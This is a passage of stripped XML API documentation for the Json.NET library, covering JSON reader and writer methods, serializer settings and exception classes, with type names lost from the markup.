reference. - - - - Initializes a new instance of the class. - - - - - Initializes a new instance of the class with the specified name. - - Name of the property. - - - - Represents a reader that provides fast, non-cached, forward-only access to serialized JSON data. - - - - - Asynchronously reads the next JSON token from the source. - - The token to monitor for cancellation requests. The default value is . - A that represents the asynchronous read. The - property returns true if the next token was read successfully; false if there are no more tokens to read. - The default behaviour is to execute synchronously, returning an already-completed task. Derived - classes can override this behaviour for true asynchronicity. - - - - Asynchronously skips the children of the current token. - - The token to monitor for cancellation requests. The default value is . - A that represents the asynchronous operation. - The default behaviour is to execute synchronously, returning an already-completed task. Derived - classes can override this behaviour for true asynchronicity. - - - - Asynchronously reads the next JSON token from the source as a of . - - The token to monitor for cancellation requests. The default value is . - A that represents the asynchronous read. The - property returns the of . This result will be null at the end of an array. - The default behaviour is to execute synchronously, returning an already-completed task. Derived - classes can override this behaviour for true asynchronicity. - - - - Asynchronously reads the next JSON token from the source as a []. - - The token to monitor for cancellation requests. The default value is . - A that represents the asynchronous read. The - property returns the []. This result will be null at the end of an array. - The default behaviour is to execute synchronously, returning an already-completed task. Derived - classes can override this behaviour for true asynchronicity. - - - - Asynchronously reads the next JSON token from the source as a of . - - The token to monitor for cancellation requests. The default value is . - A that represents the asynchronous read. The - property returns the of . This result will be null at the end of an array. - The default behaviour is to execute synchronously, returning an already-completed task. Derived - classes can override this behaviour for true asynchronicity. - - - - Asynchronously reads the next JSON token from the source as a of . - - The token to monitor for cancellation requests. The default value is . - A that represents the asynchronous read. The - property returns the of . This result will be null at the end of an array. - The default behaviour is to execute synchronously, returning an already-completed task. Derived - classes can override this behaviour for true asynchronicity. - - - - Asynchronously reads the next JSON token from the source as a of . - - The token to monitor for cancellation requests. The default value is . - A that represents the asynchronous read. The - property returns the of . This result will be null at the end of an array. - The default behaviour is to execute synchronously, returning an already-completed task. Derived - classes can override this behaviour for true asynchronicity. - - - - Asynchronously reads the next JSON token from the source as a of . - - The token to monitor for cancellation requests. The default value is . - A that represents the asynchronous read. The - property returns the of . This result will be null at the end of an array. - The default behaviour is to execute synchronously, returning an already-completed task. Derived - classes can override this behaviour for true asynchronicity. - - - - Asynchronously reads the next JSON token from the source as a of . - - The token to monitor for cancellation requests. The default value is . - A that represents the asynchronous read. The - property returns the of . This result will be null at the end of an array. - The default behaviour is to execute synchronously, returning an already-completed task. Derived - classes can override this behaviour for true asynchronicity. - - - - Asynchronously reads the next JSON token from the source as a . - - The token to monitor for cancellation requests. The default value is . - A that represents the asynchronous read. The - property returns the . This result will be null at the end of an array. - The default behaviour is to execute synchronously, returning an already-completed task. Derived - classes can override this behaviour for true asynchronicity. - - - - Specifies the state of the reader. - - - - - A read method has not been called. - - - - - The end of the file has been reached successfully. - - - - - Reader is at a property. - - - - - Reader is at the start of an object. - - - - - Reader is in an object. - - - - - Reader is at the start of an array. - - - - - Reader is in an array. - - - - - The method has been called. - - - - - Reader has just read a value. - - - - - Reader is at the start of a constructor. - - - - - Reader is in a constructor. - - - - - An error occurred that prevents the read operation from continuing. - - - - - The end of the file has been reached successfully. - - - - - Gets the current reader state. - - The current reader state. - - - - Gets or sets a value indicating whether the source should be closed when this reader is closed. - - - true to close the source when this reader is closed; otherwise false. The default is true. - - - - - Gets or sets a value indicating whether multiple pieces of JSON content can - be read from a continuous stream without erroring. - - - true to support reading multiple pieces of JSON content; otherwise false. - The default is false. - - - - - Gets the quotation mark character used to enclose the value of a string. - - - - - Gets or sets how time zones are handled when reading JSON. - - - - - Gets or sets how date formatted strings, e.g. "\/Date(1198908717056)\/" and "2012-03-21T05:40Z", are parsed when reading JSON. - - - - - Gets or sets how floating point numbers, e.g. 1.0 and 9.9, are parsed when reading JSON text. - - - - - Gets or sets how custom date formatted strings are parsed when reading JSON. - - - - - Gets or sets the maximum depth allowed when reading JSON. Reading past this depth will throw a . - A null value means there is no maximum. - The default value is 64. - - - - - Gets the type of the current JSON token. - - - - - Gets the text value of the current JSON token. - - - - - Gets the .NET type for the current JSON token. - - - - - Gets the depth of the current token in the JSON document. - - The depth of the current token in the JSON document. - - - - Gets the path of the current JSON token. - - - - - Gets or sets the culture used when reading JSON. Defaults to . - - - - - Initializes a new instance of the class. - - - - - Reads the next JSON token from the source. - - true if the next token was read successfully; false if there are no more tokens to read. - - - - Reads the next JSON token from the source as a of . - - A of . This method will return null at the end of an array. - - - - Reads the next JSON token from the source as a . - - A . This method will return null at the end of an array. - - - - Reads the next JSON token from the source as a []. - - A [] or null if the next JSON token is null. This method will return null at the end of an array. - - - - Reads the next JSON token from the source as a of . - - A of . This method will return null at the end of an array. - - - - Reads the next JSON token from the source as a of . - - A of . This method will return null at the end of an array. - - - - Reads the next JSON token from the source as a of . - - A of . This method will return null at the end of an array. - - - - Reads the next JSON token from the source as a of . - - A of . This method will return null at the end of an array. - - - - Reads the next JSON token from the source as a of . - - A of . This method will return null at the end of an array. - - - - Skips the children of the current token. - - - - - Sets the current token. - - The new token. - - - - Sets the current token and value. - - The new token. - The value. - - - - Sets the current token and value. - - The new token. - The value. - A flag indicating whether the position index inside an array should be updated. - - - - Sets the state based on current token type. - - - - - Releases unmanaged and - optionally - managed resources. - - true to release both managed and unmanaged resources; false to release only unmanaged resources. - - - - Changes the reader's state to . - If is set to true, the source is also closed. - - - - - The exception thrown when an error occurs while reading JSON text. - - - - - Gets the line number indicating where the error occurred. - - The line number indicating where the error occurred. - - - - Gets the line position indicating where the error occurred. - - The line position indicating where the error occurred. - - - - Gets the path to the JSON where the error occurred. - - The path to the JSON where the error occurred. - - - - Initializes a new instance of the class. - - - - - Initializes a new instance of the class - with a specified error message. - - The error message that explains the reason for the exception. - - - - Initializes a new instance of the class - with a specified error message and a reference to the inner exception that is the cause of this exception. - - The error message that explains the reason for the exception. - The exception that is the cause of the current exception, or null if no inner exception is specified. - - - - Initializes a new instance of the class - with a specified error message, JSON path, line number, line position, and a reference to the inner exception that is the cause of this exception. - - The error message that explains the reason for the exception. - The path to the JSON where the error occurred. - The line number indicating where the error occurred. - The line position indicating where the error occurred. - The exception that is the cause of the current exception, or null if no inner exception is specified. - - - - Instructs the to always serialize the member, and to require that the member has a value. - - - - - The exception thrown when an error occurs during JSON serialization or deserialization. - - - - - Gets the line number indicating where the error occurred. - - The line number indicating where the error occurred. - - - - Gets the line position indicating where the error occurred. - - The line position indicating where the error occurred. - - - - Gets the path to the JSON where the error occurred. - - The path to the JSON where the error occurred. - - - - Initializes a new instance of the class. - - - - - Initializes a new instance of the class - with a specified error message. - - The error message that explains the reason for the exception. - - - - Initializes a new instance of the class - with a specified error message and a reference to the inner exception that is the cause of this exception. - - The error message that explains the reason for the exception. - The exception that is the cause of the current exception, or null if no inner exception is specified. - - - - Initializes a new instance of the class - with a specified error message, JSON path, line number, line position, and a reference to the inner exception that is the cause of this exception. - - The error message that explains the reason for the exception. - The path to the JSON where the error occurred. - The line number indicating where the error occurred. - The line position indicating where the error occurred. - The exception that is the cause of the current exception, or null if no inner exception is specified. - - - - Serializes and deserializes objects into and from the JSON format. - The enables you to control how objects are encoded into JSON. - - - - - Occurs when the errors during serialization and deserialization. - - - - - Gets or sets the used by the serializer when resolving references. - - - - - Gets or sets the used by the serializer when resolving type names. - - - - - Gets or sets the used by the serializer when resolving type names. - - - - - Gets or sets the used by the serializer when writing trace messages. - - The trace writer. - - - - Gets or sets the equality comparer used by the serializer when comparing references. - - The equality comparer. - - - - Gets or sets how type name writing and reading is handled by the serializer. - The default value is . - - - should be used with caution when your application deserializes JSON from an external source. - Incoming types should be validated with a custom - when deserializing with a value other than . - - - - - Gets or sets how a type name assembly is written and resolved by the serializer. - The default value is . - - The type name assembly format. - - - - Gets or sets how a type name assembly is written and resolved by the serializer. - The default value is . - - The type name assembly format. - - - - Gets or sets how object references are preserved by the serializer. - The default value is . - - - - - Gets or sets how reference loops (e.g. a class referencing itself) is handled. - The default value is . - - - - - Gets or sets how missing members (e.g. JSON contains a property that isn't a member on the object) are handled during deserialization. - The default value is . - - - - - Gets or sets how null values are handled during serialization and deserialization. - The default value is . - - - - - Gets or sets how default values are handled during serialization and deserialization. - The default value is . - - - - - Gets or sets how objects are created during deserialization. - The default value is . - - The object creation handling. - - - - Gets or sets how constructors are used during deserialization. - The default value is . - - The constructor handling. - - - - Gets or sets how metadata properties are used during deserialization. - The default value is . - - The metadata properties handling. - - - - Gets a collection that will be used during serialization. - - Collection that will be used during serialization. - - - - Gets or sets the contract resolver used by the serializer when - serializing .NET objects to JSON and vice versa. - - - - - Gets or sets the used by the serializer when invoking serialization callback methods. - - The context. - - - - Indicates how JSON text output is formatted. - The default value is . - - - - - Gets or sets how dates are written to JSON text. - The default value is . - - - - - Gets or sets how time zones are handled during serialization and deserialization. - The default value is . - - - - - Gets or sets how date formatted strings, e.g. "\/Date(1198908717056)\/" and "2012-03-21T05:40Z", are parsed when reading JSON. - The default value is . - - - - - Gets or sets how floating point numbers, e.g. 1.0 and 9.9, are parsed when reading JSON text. - The default value is . - - - - - Gets or sets how special floating point numbers, e.g. , - and , - are written as JSON text. - The default value is . - - - - - Gets or sets how strings are escaped when writing JSON text. - The default value is . - - - - - Gets or sets how and values are formatted when writing JSON text, - and the expected date format when reading JSON text. - The default value is "yyyy'-'MM'-'dd'T'HH':'mm':'ss.FFFFFFFK". - - - - - Gets or sets the culture used when reading JSON. - The default value is . - - - - - Gets or sets the maximum depth allowed when reading JSON. Reading past this depth will throw a . - A null value means there is no maximum. - The default value is 64. - - - - - Gets a value indicating whether there will be a check for additional JSON content after deserializing an object. - The default value is false. - - - true if there will be a check for additional JSON content after deserializing an object; otherwise, false. - - - - - Initializes a new instance of the class. - - - - - Creates a new instance. - The will not use default settings - from . - - - A new instance. - The will not use default settings - from . - - - - - Creates a new instance using the specified . - The will not use default settings - from . - - The settings to be applied to the . - - A new instance using the specified . - The will not use default settings - from . - - - - - Creates a new instance. - The will use default settings - from . - - - A new instance. - The will use default settings - from . - - - - - Creates a new instance using the specified . - The will use default settings - from as well as the specified . - - The settings to be applied to the . - - A new instance using the specified . - The will use default settings - from as well as the specified . - - - - - Populates the JSON values onto the target object. - - The that contains the JSON structure to read values from. - The target object to populate values onto. - - - - Populates the JSON values onto the target object. - - The that contains the JSON structure to read values from. - The target object to populate values onto. - - - - Deserializes the JSON structure contained by the specified . - - The that contains the JSON structure to deserialize. - The being deserialized. - - - - Deserializes the JSON structure contained by the specified - into an instance of the specified type. - - The containing the object. - The of object being deserialized. - The instance of being deserialized. - - - - Deserializes the JSON structure contained by the specified - into an instance of the specified type. - - The containing the object. - The type of the object to deserialize. - The instance of being deserialized. - - - - Deserializes the JSON structure contained by the specified - into an instance of the specified type. - - The containing the object. - The of object being deserialized. - The instance of being deserialized. - - - - Serializes the specified and writes the JSON structure - using the specified . - - The used to write the JSON structure. - The to serialize. - - - - Serializes the specified and writes the JSON structure - using the specified . - - The used to write the JSON structure. - The to serialize. - - The type of the value being serialized. - This parameter is used when is to write out the type name if the type of the value does not match. - Specifying the type is optional. - - - - - Serializes the specified and writes the JSON structure - using the specified . - - The used to write the JSON structure. - The to serialize. - - The type of the value being serialized. - This parameter is used when is Auto to write out the type name if the type of the value does not match. - Specifying the type is optional. - - - - - Serializes the specified and writes the JSON structure - using the specified . - - The used to write the JSON structure. - The to serialize. - - - - Specifies the settings on a object. - - - - - Gets or sets how reference loops (e.g. a class referencing itself) are handled. - The default value is . - - Reference loop handling. - - - - Gets or sets how missing members (e.g. JSON contains a property that isn't a member on the object) are handled during deserialization. - The default value is . - - Missing member handling. - - - - Gets or sets how objects are created during deserialization. - The default value is . - - The object creation handling. - - - - Gets or sets how null values are handled during serialization and deserialization. - The default value is . - - Null value handling. - - - - Gets or sets how default values are handled during serialization and deserialization. - The default value is . - - The default value handling. - - - - Gets or sets a collection that will be used during serialization. - - The converters. - - - - Gets or sets how object references are preserved by the serializer. - The default value is . - - The preserve references handling. - - - - Gets or sets how type name writing and reading is handled by the serializer. - The default value is . - - - should be used with caution when your application deserializes JSON from an external source. - Incoming types should be validated with a custom - when deserializing with a value other than . - - The type name handling. - - - - Gets or sets how metadata properties are used during deserialization. - The default value is . - - The metadata properties handling. - - - - Gets or sets how a type name assembly is written and resolved by the serializer. - The default value is . - - The type name assembly format. - - - - Gets or sets how a type name assembly is written and resolved by the serializer. - The default value is . - - The type name assembly format. - - - - Gets or sets how constructors are used during deserialization. - The default value is . - - The constructor handling. - - - - Gets or sets the contract resolver used by the serializer when - serializing .NET objects to JSON and vice versa. - - The contract resolver. - - - - Gets or sets the equality comparer used by the serializer when comparing references. - - The equality comparer. - - - - Gets or sets the used by the serializer when resolving references. - - The reference resolver. - - - - Gets or sets a function that creates the used by the serializer when resolving references. - - A function that creates the used by the serializer when resolving references. - - - - Gets or sets the used by the serializer when writing trace messages. - - The trace writer. - - - - Gets or sets the used by the serializer when resolving type names. - - The binder. - - - - Gets or sets the used by the serializer when resolving type names. - - The binder. - - - - Gets or sets the error handler called during serialization and deserialization. - - The error handler called during serialization and deserialization. - - - - Gets or sets the used by the serializer when invoking serialization callback methods. - - The context. - - - - Gets or sets how and values are formatted when writing JSON text, - and the expected date format when reading JSON text. - The default value is "yyyy'-'MM'-'dd'T'HH':'mm':'ss.FFFFFFFK". - - - - - Gets or sets the maximum depth allowed when reading JSON. Reading past this depth will throw a . - A null value means there is no maximum. - The default value is 64. - - - - - Indicates how JSON text output is formatted. - The default value is . - - - - - Gets or sets how dates are written to JSON text. - The default value is . - - - - - Gets or sets how time zones are handled during serialization and deserialization. - The default value is . - - - - - Gets or sets how date formatted strings, e.g. "\/Date(1198908717056)\/" and "2012-03-21T05:40Z", are parsed when reading JSON. - The default value is . - - - - - Gets or sets how special floating point numbers, e.g. , - and , - are written as JSON. - The default value is . - - - - - Gets or sets how floating point numbers, e.g. 1.0 and 9.9, are parsed when reading JSON text. - The default value is . - - - - - Gets or sets how strings are escaped when writing JSON text. - The default value is . - - - - - Gets or sets the culture used when reading JSON. - The default value is . - - - - - Gets a value indicating whether there will be a check for additional content after deserializing an object. - The default value is false. - - - true if there will be a check for additional content after deserializing an object; otherwise, false. - - - - - Initializes a new instance of the class. - - - - - Initializes a new instance of the class - using values copied from the passed in . - - - - - Represents a reader that provides fast, non-cached, forward-only access to JSON text data. - - - - - Asynchronously reads the next JSON token from the source. - - The token to monitor for cancellation requests. The default value is . - A that represents the asynchronous read. The - property returns true if the next token was read successfully; false if there are no more tokens to read. - Derived classes must override this method to get asynchronous behaviour. Otherwise it will - execute synchronously, returning an already-completed task. - - - - Asynchronously reads the next JSON token from the source as a of . - - The token to monitor for cancellation requests. The default value is . - A that represents the asynchronous read. The - property returns the of . This result will be null at the end of an array. - Derived classes must override this method to get asynchronous behaviour. Otherwise it will - execute synchronously, returning an already-completed task. - - - - Asynchronously reads the next JSON token from the source as a []. - - The token to monitor for cancellation requests. The default value is . - A that represents the asynchronous read. The - property returns the []. This result will be null at the end of an array. - Derived classes must override this method to get asynchronous behaviour. Otherwise it will - execute synchronously, returning an already-completed task. - - - - Asynchronously reads the next JSON token from the source as a of . - - The token to monitor for cancellation requests. The default value is . - A that represents the asynchronous read. The - property returns the of . This result will be null at the end of an array. - Derived classes must override this method to get asynchronous behaviour. Otherwise it will - execute synchronously, returning an already-completed task. - - - - Asynchronously reads the next JSON token from the source as a of . - - The token to monitor for cancellation requests. The default value is . - A that represents the asynchronous read. The - property returns the of . This result will be null at the end of an array. - Derived classes must override this method to get asynchronous behaviour. Otherwise it will - execute synchronously, returning an already-completed task. - - - - Asynchronously reads the next JSON token from the source as a of . - - The token to monitor for cancellation requests. The default value is . - A that represents the asynchronous read. The - property returns the of . This result will be null at the end of an array. - Derived classes must override this method to get asynchronous behaviour. Otherwise it will - execute synchronously, returning an already-completed task. - - - - Asynchronously reads the next JSON token from the source as a of . - - The token to monitor for cancellation requests. The default value is . - A that represents the asynchronous read. The - property returns the of . This result will be null at the end of an array. - Derived classes must override this method to get asynchronous behaviour. Otherwise it will - execute synchronously, returning an already-completed task. - - - - Asynchronously reads the next JSON token from the source as a of . - - The token to monitor for cancellation requests. The default value is . - A that represents the asynchronous read. The - property returns the of . This result will be null at the end of an array. - Derived classes must override this method to get asynchronous behaviour. Otherwise it will - execute synchronously, returning an already-completed task. - - - - Asynchronously reads the next JSON token from the source as a . - - The token to monitor for cancellation requests. The default value is . - A that represents the asynchronous read. The - property returns the . This result will be null at the end of an array. - Derived classes must override this method to get asynchronous behaviour. Otherwise it will - execute synchronously, returning an already-completed task. - - - - Initializes a new instance of the class with the specified . - - The containing the JSON data to read. - - - - Gets or sets the reader's property name table. - - - - - Gets or sets the reader's character buffer pool. - - - - - Reads the next JSON token from the underlying . - - - true if the next token was read successfully; false if there are no more tokens to read. - - - - - Reads the next JSON token from the underlying as a of . - - A of . This method will return null at the end of an array. - - - - Reads the next JSON token from the underlying as a of . - - A of . This method will return null at the end of an array. - - - - Reads the next JSON token from the underlying as a . - - A . This method will return null at the end of an array. - - - - Reads the next JSON token from the underlying as a []. - - A [] or null if the next JSON token is null. This method will return null at the end of an array. - - - - Reads the next JSON token from the underlying as a of . - - A of . This method will return null at the end of an array. - - - - Reads the next JSON token from the underlying as a of . - - A of . This method will return null at the end of an array. - - - - Reads the next JSON token from the underlying as a of . - - A of . This method will return null at the end of an array. - - - - Reads the next JSON token from the underlying as a of . - - A of . This method will return null at the end of an array. - - - - Changes the reader's state to . - If is set to true, the underlying is also closed. - - - - - Gets a value indicating whether the class can return line information. - - - true if and can be provided; otherwise, false. - - - - - Gets the current line number. - - - The current line number or 0 if no line information is available (for example, returns false). - - - - - Gets the current line position. - - - The current line position or 0 if no line information is available (for example, returns false). - - - - - Represents a writer that provides a fast, non-cached, forward-only way of generating JSON data. - - - - - Asynchronously flushes whatever is in the buffer to the destination and also flushes the destination. - - The token to monitor for cancellation requests. The default value is . - A that represents the asynchronous operation. - Derived classes must override this method to get asynchronous behaviour. Otherwise it will - execute synchronously, returning an already-completed task. - - - - Asynchronously writes the JSON value delimiter. - - The token to monitor for cancellation requests. The default value is . - A that represents the asynchronous operation. - Derived classes must override this method to get asynchronous behaviour. Otherwise it will - execute synchronously, returning an already-completed task. - - - - Asynchronously writes the specified end token. - - The end token to write. - The token to monitor for cancellation requests. The default value is . - A that represents the asynchronous operation. - Derived classes must override this method to get asynchronous behaviour. Otherwise it will - execute synchronously, returning an already-completed task. - - - - Asynchronously closes this writer. - If is set to true, the destination is also closed. - - The token to monitor for cancellation requests. The default value is . - A that represents the asynchronous operation. - Derived classes must override this method to get asynchronous behaviour. Otherwise it will - execute synchronously, returning an already-completed task. - - - - Asynchronously writes the end of the current JSON object or array. - - The token to monitor for cancellation requests. The default value is . - A that represents the asynchronous operation. - Derived classes must override this method to get asynchronous behaviour. Otherwise it will - execute synchronously, returning an already-completed task. - - - - Asynchronously writes indent characters. - - The token to monitor for cancellation requests. The default value is . - A that represents the asynchronous operation. - Derived classes must override this method to get asynchronous behaviour. Otherwise it will - execute synchronously, returning an already-completed task. - - - - Asynchronously writes an indent space. - - The token to monitor for cancellation requests. The default value is . - A that represents the asynchronous operation. - Derived classes must override this method to get asynchronous behaviour. Otherwise it will - execute synchronously, returning an already-completed task. - - - - Asynchronously writes raw JSON without changing the writer's state. - - The raw JSON to write. - The token to monitor for cancellation requests. The default value is . - A that represents the asynchronous operation. - Derived classes must override this method to get asynchronous behaviour. Otherwise it will - execute synchronously, returning an already-completed task. - - - - Asynchronously writes a null value. - - The token to monitor for cancellation requests. The default value is . - A that represents the asynchronous operation. - Derived classes must override this method to get asynchronous behaviour. Otherwise it will - execute synchronously, returning an already-completed task. - - - - Asynchronously writes the property name of a name/value pair of a JSON object. - - The name of the property. - The token to monitor for cancellation requests. The default value is . - A that represents the asynchronous operation. - Derived classes must override this method to get asynchronous behaviour. Otherwise it will - execute synchronously, returning an already-completed task. - - - - Asynchronously writes the property name of a name/value pair of a JSON object. - - The name of the property. - A flag to indicate whether the text should be escaped when it is written as a JSON property name. - The token to monitor for cancellation requests. The default value is . - A that represents the asynchronous operation. - Derived classes must override this method to get asynchronous behaviour. Otherwise it will - execute synchronously, returning an already-completed task. - - - - Asynchronously writes the beginning of a JSON array. - - The token to monitor for cancellation requests. The default value is . - A that represents the asynchronous operation. - Derived classes must override this method to get asynchronous behaviour. Otherwise it will - execute synchronously, returning an already-completed task. - - - - Asynchronously writes the beginning of a JSON object. - - The token to monitor for cancellation requests. The default value is . - A that represents the asynchronous operation. - Derived classes must override this method to get asynchronous behaviour. Otherwise it will - execute synchronously, returning an already-completed task. - - - - Asynchronously writes the start of a constructor with the given name. - - The name of the constructor. - The token to monitor for cancellation requests. The default value is . - A that represents the asynchronous operation. - Derived classes must override this method to get asynchronous behaviour. Otherwise it will - execute synchronously, returning an already-completed task. - - - - Asynchronously writes an undefined value. - - The token to monitor for cancellation requests. The default value is . - A that represents the asynchronous operation. - Derived classes must override this method to get asynchronous behaviour. Otherwise it will - execute synchronously, returning an already-completed task. - - - - Asynchronously writes the given white space. - - The string of white space characters. - The token to monitor for cancellation requests. The default value is . - A that represents the asynchronous operation. - Derived classes must override this method to get asynchronous behaviour. Otherwise it will - execute synchronously, returning an already-completed task. - - - - Asynchronously writes a of value. - - The of value to write. - The token to monitor for cancellation requests. The default value is . - A that represents the asynchronous operation. - Derived classes must override this method to get asynchronous behaviour. Otherwise it will - execute synchronously, returning an already-completed task. - - - - Asynchronously writes a value. - - The value to write. - The token to monitor for cancellation requests. The default value is . - A that represents the asynchronous operation. - Derived classes must override this method to get asynchronous behaviour. Otherwise it will - execute synchronously, returning an already-completed task. - - - - Asynchronously writes a value. - - The value to write. - The token to monitor for cancellation requests. The default value is . - A that represents the asynchronous operation. - Derived classes must override this method to get asynchronous behaviour. Otherwise it will - execute synchronously, returning an already-completed task. - - - - Asynchronously writes a of value. - - The of value to write. - The token to monitor for cancellation requests. The default value is . - A that represents the asynchronous operation. - Derived classes must override this method to get asynchronous behaviour. Otherwise it will - execute synchronously, returning an already-completed task. - - - - Asynchronously writes a [] value. - - The [] value to write. - The token to monitor for cancellation requests. The default value is . - A that represents the asynchronous operation. - Derived classes must override this method to get asynchronous behaviour. Otherwise it will - execute synchronously, returning an already-completed task. - - - - Asynchronously writes a value. - - The value to write. - The token to monitor for cancellation requests. The default value is . - A that represents the asynchronous operation. - Derived classes must override this method to get asynchronous behaviour. Otherwise it will - execute synchronously, returning an already-completed task. - - - - Asynchronously writes a of value. - - The of value to write. - The token to monitor for cancellation requests. The default value is . - A that represents the asynchronous operation. - Derived classes must override this method to get asynchronous behaviour. Otherwise it will - execute synchronously, returning an already-completed task. - - - - Asynchronously writes a value. - - The value to write. - The token to monitor for cancellation requests. The default value is . - A that represents the asynchronous operation. - Derived classes must override this method to get asynchronous behaviour. Otherwise it will - execute synchronously, returning an already-completed task. - - - - Asynchronously writes a of value. - - The of value to write. - The token to monitor for cancellation requests. The default value is . - A that represents the asynchronous operation. - Derived classes must override this method to get asynchronous behaviour. Otherwise it will - execute synchronously, returning an already-completed task. - - - - Asynchronously writes a value. - - The value to write. - The token to monitor for cancellation requests. The default value is . - A that represents the asynchronous operation. - Derived classes must override this method to get asynchronous behaviour. Otherwise it will - execute synchronously, returning an already-completed task. - - - - Asynchronously writes a of value. - - The of value to write. - The token to monitor for cancellation requests. The default value is . - A that represents the asynchronous operation. - Derived classes must override this method to get asynchronous behaviour. Otherwise it will - execute synchronously, returning an already-completed task. - - - - Asynchronously writes a value. - - The value to write. - The token to monitor for cancellation requests. The default value is . - A that represents the asynchronous operation. - Derived classes must override this method to get asynchronous behaviour. Otherwise it will - execute synchronously, returning an already-completed task. - - - - Asynchronously writes a of value. - - The of value to write. - The token to monitor for cancellation requests. The default value is . - A that represents the asynchronous operation. - Derived classes must override this method to get asynchronous behaviour. Otherwise it will - execute synchronously, returning an already-completed task. - - - - Asynchronously writes a value. - - The value to write. - The token to monitor for cancellation requests. The default value is . - A that represents the asynchronous operation. - Derived classes must override this method to get asynchronous behaviour. Otherwise it will - execute synchronously, returning an already-completed task. - - - - Asynchronously writes a of value. - - The of value to write. - The token to monitor for cancellation requests. The default value is . - A that represents the asynchronous operation. - Derived classes must override this method to get asynchronous behaviour. Otherwise it will - execute synchronously, returning an already-completed task. - - - - Asynchronously writes a value. - - The value to write. - The token to monitor for cancellation requests. The default value is . - A that represents the asynchronous operation. - Derived classes must override this method to get asynchronous behaviour. Otherwise it will - execute synchronously, returning an already-completed task. - - - - Asynchronously writes a of value. - - The of value to write. - The token to monitor for cancellation requests. The default value is . - A that represents the asynchronous operation. - Derived classes must override this method to get asynchronous behaviour. Otherwise it will - execute synchronously, returning an already-completed task. - - - - Asynchronously writes a value. - - The value to write. - The token to monitor for cancellation requests. The default value is . - A that represents the asynchronous operation. - Derived classes must override this method to get asynchronous behaviour. Otherwise it will - execute synchronously, returning an already-completed task. - - - - Asynchronously writes a of value. - - The of value to write. - The token to monitor for cancellation requests. The default value is . - A that represents the asynchronous operation. - Derived classes must override this method to get asynchronous behaviour. Otherwise it will - execute synchronously, returning an already-completed task. - - - - Asynchronously writes a value. - - The value to write. - The token to monitor for cancellation requests. The default value is . - A that represents the asynchronous operation. - Derived classes must override this method to get asynchronous behaviour. Otherwise it will - execute synchronously, returning an already-completed task. - - - - Asynchronously writes a of value. - - The of value to write. - The token to monitor for cancellation requests. The default value is . - A that represents the asynchronous operation. - Derived classes must override this method to get asynchronous behaviour. Otherwise it will - execute synchronously, returning an already-completed task. - - - - Asynchronously writes a value. - - The value to write. - The token to monitor for cancellation requests. The default value is . - A that represents the asynchronous operation. - Derived classes must override this method to get asynchronous behaviour. Otherwise it will - execute synchronously, returning an already-completed task. - - - - Asynchronously writes a of value. - - The of value to write. - The token to monitor for cancellation requests. The default value is . - A that represents the asynchronous operation. - Derived classes must override this method to get asynchronous behaviour. Otherwise it will - execute synchronously, returning an already-completed task. - - - - Asynchronously writes a value. - - The value to write. - The token to monitor for cancellation requests. The default value is . - A that represents the asynchronous operation. - Derived classes must override this method to get asynchronous behaviour. Otherwise it will - execute synchronously, returning an already-completed task. - - - - Asynchronously writes a value. - - The value to write. - The token to monitor for cancellation requests. The default value is . - A that represents the asynchronous operation. - Derived classes must override this method to get asynchronous behaviour. Otherwise it will - execute synchronously, returning an already-completed task. - - - - Asynchronously writes a of value. - - The of value to write. - The token to monitor for cancellation requests. The default value is . - A that represents the asynchronous operation. - Derived classes must override this method to get asynchronous behaviour. Otherwise it will - execute synchronously, returning an already-completed task. - - - - Asynchronously writes a value. - - The value to write. - The token to monitor for cancellation requests. The default value is . - A that represents the asynchronous operation. - Derived classes must override this method to get asynchronous behaviour. Otherwise it will - execute synchronously, returning an already-completed task. - - - - Asynchronously writes a of value. - - The of value to write. - The token to monitor for cancellation requests. The default value is . - A that represents the asynchronous operation. - Derived classes must override this method to get asynchronous behaviour. Otherwise it will - execute synchronously, returning an already-completed task. - - - - Asynchronously writes a value. - - The value to write. - The token to monitor for cancellation requests. The default value is . - A that represents the asynchronous operation. - Derived classes must override this method to get asynchronous behaviour. Otherwise it will - execute synchronously, returning an already-completed task. - - - - Asynchronously writes a value. - - The value to write. - The token to monitor for cancellation requests. The default value is . - A that represents the asynchronous operation. - Derived classes must override this method to get asynchronous behaviour. Otherwise it will - execute synchronously, returning an already-completed task. - - - - Asynchronously writes a of value. - - The of value to write. - The token to monitor for cancellation requests. The default value is . - A that represents the asynchronous operation. - Derived classes must override this method to get asynchronous behaviour. Otherwise it will - execute synchronously, returning an already-completed task. - - - - Asynchronously writes a value. - - The value to write. - The token to monitor for cancellation requests. The default value is . - A that represents the asynchronous operation. - Derived classes must override this method to get asynchronous behaviour. Otherwise it will - execute synchronously, returning an already-completed task. - - - - Asynchronously writes a of value. - - The of value to write. - The token to monitor for cancellation requests. The default value is . - A that represents the asynchronous operation. - Derived classes must override this method to get asynchronous behaviour. Otherwise it will - execute synchronously, returning an already-completed task. - - - - Asynchronously writes a value. - - The value to write. - The token to monitor for cancellation requests. The default value is . - A that represents the asynchronous operation. - Derived classes must override this method to get asynchronous behaviour. Otherwise it will - execute synchronously, returning an already-completed task. - - - - Asynchronously writes a of value. - - The of value to write. - The token to monitor for cancellation requests. The default value is . - A that represents the asynchronous operation. - Derived classes must override this method to get asynchronous behaviour. Otherwise it will - execute synchronously, returning an already-completed task. - - - - Asynchronously writes a value. - - The value to write. - The token to monitor for cancellation requests. The default value is . - A that represents the asynchronous operation. - Derived classes must override this method to get asynchronous behaviour. Otherwise it will - execute synchronously, returning an already-completed task. - - - - Asynchronously writes a value. - - The value to write. - The token to monitor for cancellation requests. The default value is . - A that represents the asynchronous operation. - Derived classes must override this method to get asynchronous behaviour. Otherwise it will - execute synchronously, returning an already-completed task. - - - - Asynchronously writes a of value. - - The of value to write. - The token to monitor for cancellation requests. The default value is . - A that represents the asynchronous operation. - Derived classes must override this method to get asynchronous behaviour. Otherwise it will - execute synchronously, returning an already-completed task. - - - - Asynchronously writes a comment /*...*/ containing the specified text. - - Text to place inside the comment. - The token to monitor for cancellation requests. The default value is . - A that represents the asynchronous operation. - Derived classes must override this method to get asynchronous behaviour. Otherwise it will - execute synchronously, returning an already-completed task. - - - - Asynchronously writes the end of an array. - - The token to monitor for cancellation requests. The default value is . - A that represents the asynchronous operation. - Derived classes must override this method to get asynchronous behaviour. Otherwise it will - execute synchronously, returning an already-completed task. - - - - Asynchronously writes the end of a constructor. - - The token to monitor for cancellation requests. The default value is . - A that represents the asynchronous operation. - Derived classes must override this method to get asynchronous behaviour. Otherwise it will - execute synchronously, returning an already-completed task. - - - - Asynchronously writes the end of a JSON object. - - The token to monitor for cancellation requests. The default value is . - A that represents the asynchronous operation. - Derived classes must override this method to get asynchronous behaviour. Otherwise it will 